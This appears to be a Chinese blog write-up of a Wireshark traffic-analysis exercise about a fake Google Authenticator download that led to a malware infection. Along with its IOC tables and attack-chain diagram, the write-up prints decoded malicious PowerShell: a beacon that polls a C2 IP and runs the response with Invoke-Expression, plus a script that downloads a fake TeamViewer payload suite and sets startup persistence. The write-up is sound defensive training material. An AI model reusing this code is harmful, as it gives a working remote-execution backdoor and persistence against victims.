📌 目录

    Wireshark流量分析——2025-01-22 DOWNLOAD FROM FAKE SOFTWARE SITE

    文件地址:2025-01-22-traffic-analysis-exercise.pcap.zip
    解压密码:infected_20250122

    背景信息

    image-20260806093415899

    你在安全运营中心担任分析师职务。有客户联系了你们团队,称一位同事在搜索 Google Authenticator 后下载了可疑文件。来电者提供了一些信息,这些信息与社交媒体上的帖子内容类似。

    image-20260806093748177

    image-20260806093758820

    根据来电者提供的初步信息,确认确实发生了感染。您获取了相关流量的数据包记录。经过分析,发现一些迹象与上述社交媒体帖子中提到的 GitHub 页面上的细节相符。确认发生了感染之后,您开始撰写事故报告。

    来自 PCAP 的局域网段详细信息

    • 局域网段范围:10.1.17[.]0/24(从 10.1.17[.]0 到 10.1.17[.]255)
    • 域名:bluemoontuesday[.]com
    • Active Directory 域控制器:10.1.17[.]2 - WIN-GSH54QLW48D
    • AD 环境名称:BLUEMOONTUESDAY
    • 局域网段网关:10.1.17[.]1
    • 局域网段广播地址:10.1.17[.]255

    任务

    对于这项练习,请回答以下关于你的事件报告的问题:

    • 受感染 Windows 客户端的 IP 地址是什么?
    • 被感染 Windows 客户端的 MAC 地址是什么?
    • 被感染 Windows 客户端的主机名是什么?
    • 被感染的 Windows 客户端上的用户账户名是什么?
    • 那个假冒的 Google Authenticator 页面的域名可能会是什么?
    • 此次感染中,C2 服务器所使用的 IP 地址是什么?

    分析

    1.受感染 Windows 客户端的 IP 地址image-20260806094226830

    从会话统计按字节数排序,流量最大的就是 10.1.17.215,基本锁定它是被感染的机器。

    2.被感染 Windows 客户端的 MAC 地址image-20260806094522176

    MAC 地址是 00:d0:b7:26:4a:74。

    3.被感染 Windows 客户端的主机名image-20260806094656880

    主机名 DESKTOP-L8C5GSJ

    4.被感染的 Windows 客户端上的用户账户名image-20260806094813549

    用户名 shutchenson

    5.假冒的 Google Authenticator 页面的域名image-20260806101610776

    翻了翻 DNS 解析记录,先看到 google-authenticator.burleson-appliance.net,紧接着就是 authenticatoor.org——比官方 authenticator 多了个 o,那肯定是仿冒域名。

    6.C2 服务器所使用的 IP 地址

    image-20260806102200218

    受感染主机访问了 5.252.153.241,下载 29842.ps1 后中招。之后一直和它保持通信:每隔 5 秒一次、请求路径和载荷大小都固定不变——典型的 C2 存活信标。

    image-20260806104717108

    载荷解码后:

    $SerialNumber = $fso.GetDrive("c:\").SerialNumber   # C 盘序列号
    $url = 'http://5.252.153.241/' + $serial            
    while ($true) {
        $result = $s.DownloadString($url)               # 每 5 秒轮询 C2
        Invoke-Expression $result                       # 内存直接执行,无文件落地
        Start-Sleep -s 5
    }
    

    解码完基本就实锤了,这就是个 C2 信标:拿 C 盘序列号拼 URL,每 5 秒去轮询一次,拿到内容直接 IEX 内存执行。

    image-20260806110054229

    响应代码:

    function Download-Files($panelIP, $files, $filesDir){
        $web = New-Object System.Net.WebClient
        
        try {
            if(!(Test-Path $filesDir)) {
                New-Item $filesDir -ItemType Directory | Out-Null
            }
        } catch {
            return @{'status' = 'error'; 'message' = 'error while creating startup directory'}
        }
        
        foreach($file in $files) {
            try {
                $link = $file.link
                $fileName = $file.name
                $filePath = "$filesDir\$($file.name)"
                $web.DownloadFile($link, $filePath)
                if($fileName -eq $startupFile){
                    $exePath = $startupFile
                }
            } catch {
                return @{'status' = 'error'; 'message' = "Error while download file. Filename: $($file.name). Link: $($link). Error: $($Error[0].exception.message)"}
            }
        }
    
        return @{'status' = 'success'}
    }
    
    function Create-Shortcut($filePath, $shortCutpath){
        $WshShell = New-Object -comObject WScript.Shell
        $Shortcut = $WshShell.CreateShortcut($shortCutpath)
        $Shortcut.TargetPath = $filePath
        $Shortcut.Save()
    }
    
    function Invoke-Startup($panelIP, $files, $filesDir, $startupFileName){
        $result = Download-Files $panelIP $files $filesDir
        if ($result.status -eq 'error'){
            return $result
        }
    
        #$startupFilePath = "$filesDir\$startupFileName"
        $startupFilePath = "C:\ProgramData\huo\TeamViewer.exe"
        $shortcutPath = "$([Environment]::GetFolderPath('Startup'))\TeamViewer.lnk"
    
        try {
            Create-Shortcut $startupFilePath $shortcutPath
        } catch {
            return @{'status' = 'error'; 'message' = "Error while creating shortcut."}
        }
    
        return @{'status' = 'success'; 'message' = 'startup shortcut created'}
    }
    
    function Send-Log($result){
        $log = "?k=$result"
        $uploadUrl = $url + $log
        $web = New-Object System.Net.WebClient
        $web.DownloadString($uploadUrl)
    }
    
    function ConvertTo-StringData($hashTable){
            foreach ($item in $hashTable) {
                foreach ($entry in $item.GetEnumerator()) {
                    "{0} = {1}; " -f $entry.Key, $entry.Value
                }
            }
    }
    
    $filesDownloadLink = $ip + 'api/file/get-file/'
    $filesDir = 'C:\ProgramData\huo'
    $files = @(
        @{'name' = 'TeamViewer.exe'; 'link' = $filesDownloadLink + 'TeamViewer'},
        @{'name' = 'Teamviewer_Resource_fr.dll'; 'link' = $filesDownloadLink + 'Teamviewer_Resource_fr'},
        @{'name' = 'TV.dll'; 'link' = $filesDownloadLink + 'TV'}
        @{'name' = 'pas.ps1'; 'link' = $filesDownloadLink + 'pas.ps1'}
    )
    $startupFile = 'TeamViewer.exe'
    
    $result = Invoke-Startup $panelIP $files $filesDir $startupFile
    $result = ConvertTo-StringData($result)
    Send-Log($result)
    

    这段脚本干的事:从 C2 下载伪装成 TeamViewer 的文件套件(exe + dll + 脚本)放到隐藏目录,再建一个启动快捷方式实现开机自启,最后把执行结果回传给攻击者——一次完整的投递 + 驻留。

    这里的 pas.ps1 和 29842.ps1 内容一模一样。

    后续就是 C2 通信了,不过这里发现个有意思的点:最开始找受感染 IP 时看的会话统计里,通信最多的 IP 其实不是 5.252.153.241,而是 45.125.66.32。

    image-20260806131940113

    跟这个 IP 走的是 TLS 加密,但端口却是 2917 这种非标准端口,基本可以确认有问题。

    不过没查到任何相关的 DNS 解析记录,C2 下发的明文命令也没发现,大概率是写在 teamviewer.exe 或 TV.dll 这类文件里,这里没有深入分析。

    这条 TLS 连接持续了 18582 个包、将近半小时。结束后又冒出一条新的 TLS 会话,IP 是 45.125.66.252——和 45.125.66.32 隶属同一网段,同样通信了 16204 个包,从 20:00:13 开始,与前面那条还有重叠。合理怀疑它俩都是 C2 服务器。

    image-20260806144006597

    会话排前五的 IP 里,除了这三个可疑的,另外两个分别是azure.microsoft.come86303.dscx.akamaiedge.net 的解析地址,都是正常的。

    所以结论:C2 服务器 IP 一共有三个——5.252.153.241、45.125.66.32、45.125.66.252。

    结果

    • 受感染 Windows 客户端的 IP 地址是什么?10.1.17.215
    • 被感染 Windows 客户端的 MAC 地址是什么?00:d0:b7:26:4a:74
    • 被感染 Windows 客户端的主机名是什么?DESKTOP-L8C5GSJ
    • 被感染的 Windows 客户端上的用户账户名是什么?shutchenson
    • 那个假冒的 Google Authenticator 页面的域名可能会是什么?authenticatoor.org
    • 此次感染中,C2 服务器所使用的 IP 地址是什么?5.252.153.241、45.125.66.32、45.125.66.252

    拓展

    IOC

    网络指标

    类型 说明
    恶意域名 authenticatoor.org 仿冒 Google Authenticator 页面(比官方多一个 "o")
    恶意域名 google-authenticator.burleson-appliance.net 仿冒页跳转域名(Cloudflare 托管)
    恶意域名 appointedtimeagriculture.com 可疑域名 → 217.70.186.109
    动态 DNS ping3.dyngate.com DynGate 客户端,查询 700+ 次(抓包期 NXDOMAIN)
    主 C2 IP 5.252.153.241:80 HTTP 明文 C2(Express),信标 + 文件分发
    备用 C2 IP 45.125.66.32:2917 TLS 自签名证书,加密通道
    备用 C2 IP 45.125.66.252:443 同网段后续出现,疑似第二备用通道
    仿冒站点 IP 82.221.136.26:443 托管 authenticatoor.org
    恶意域名 IP 217.70.186.109 appointedtimeagriculture.com 解析

    文件指标

    文件 大小 类型 作用
    264872 417 B HTML + VBScript 初始载荷:调用 powershell 下载下一阶段
    29842.ps1 1,512 B PowerShell(混淆 Base64) C2 心跳下载器(卷序列号拼 URL)
    pas.ps1 1,553 B PowerShell(混淆 Base64) 与 29842.ps1 完全相同的持久化副本
    TeamViewer.exe 4,380,968 B PE 可执行 伪装成 TeamViewer 的恶意工具
    Teamviewer_Resource_fr.dll 668,968 B DLL TeamViewer 配套载荷
    TV.dll DLL 配套载荷
    354KB 工具脚本 ×3 354,353 B PowerShell C2 下发工具集(Download-Files/Create-Shortcut/Send-Log)

    主机指标(受害主机)

    IP 10.1.17.215
    MAC 00:d0:b7:26:4a:74(Intel)
    主机名 DESKTOP-L8C5GSJ
    用户名 shutchenson
    行为特征 / 通信特征
    • 信标GET http://5.252.153.241/1517096937,固定 5 秒间隔,响应 404
    • 下载 URLhttp://5.252.153.241/api/file/get-file/{29842.ps1|pas.ps1|TeamViewer|Teamviewer_Resource_fr|TV}
    • 日志回传GET /1517096937?k=message=startup shortcut created; status=success
    • User-AgentMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    • 证书指纹:自签名,CN = "45.125.66.32: Self-signed certificate"SAN = 45.125.66.32
    • 持久化路径C:\ProgramData\huo\TeamViewer.exe + 启动文件夹 TeamViewer.lnk
    • 旁证:主 C2 服务器响应头 X-Powered-By: Express

    攻击链

    flowchart TD subgraph 初始访问 A1[用户 Google 搜索\nGoogle Authenticator] --> A2[点击恶意广告] A2 --> A3[访问仿冒域名\nauthenticatoor.org<br>82.221.136.26:443] end subgraph 载荷投递 A3 --> B1[下载初始载荷 264872<br>HTML + VBScript] B1 --> B2["VBScript 执行:<br>cmd /c start /min powershell<br>iex DownloadString(29842.ps1)"] B2 --> B3[下载 29842.ps1<br>5.252.153.241:80] B3 --> B4["解码: 读取C盘序列号 0x1517096937<br>拼接 URL /1517096937"] end subgraph C2 信标 B4 --> C1["每 5 秒 GET /1517096937<br>轮询主 C2 5.252.153.241"] C1 --> C2["Invoke-Expression 内存执行<br>无文件落地"] C2 --> C1 end subgraph 工具集下发 C1 --> D1[C2 下发 354KB 工具脚本<br>Download-Files / Create-Shortcut / Send-Log] D1 --> D2[下载 TeamViewer.exe<br>Teamviewer_Resource_fr.dll / TV.dll / pas.ps1] D2 --> D3["落地到 C:\ProgramData\huo\"] D3 --> D4[创建启动快捷方式 TeamViewer.lnk<br>实现持久化] D4 --> D5["Send-Log 回传状态:<br>?k=startup shortcut created"] end subgraph 备用加密通道 D1 --> E1[881.6s 下发含备用通道代码的脚本] E1 --> E2[889s 起 TLS 连接 45.125.66.32:2917<br>自签名证书] E2 --> E3[45.125.66.252:443<br>同网段后续连接] end subgraph 攻击者目标 D2 --> F1[远程访问/数据窃取] E2 --> F1 end style A3 fill:#ff6666 style B1 fill:#ff6666 style B3 fill:#ff6666 style C1 fill:#ff6666 style E2 fill:#ff6666
    posted @ 2026-08-06 15:13  羽弥YUMI  阅读(5)  评论(0)    收藏  举报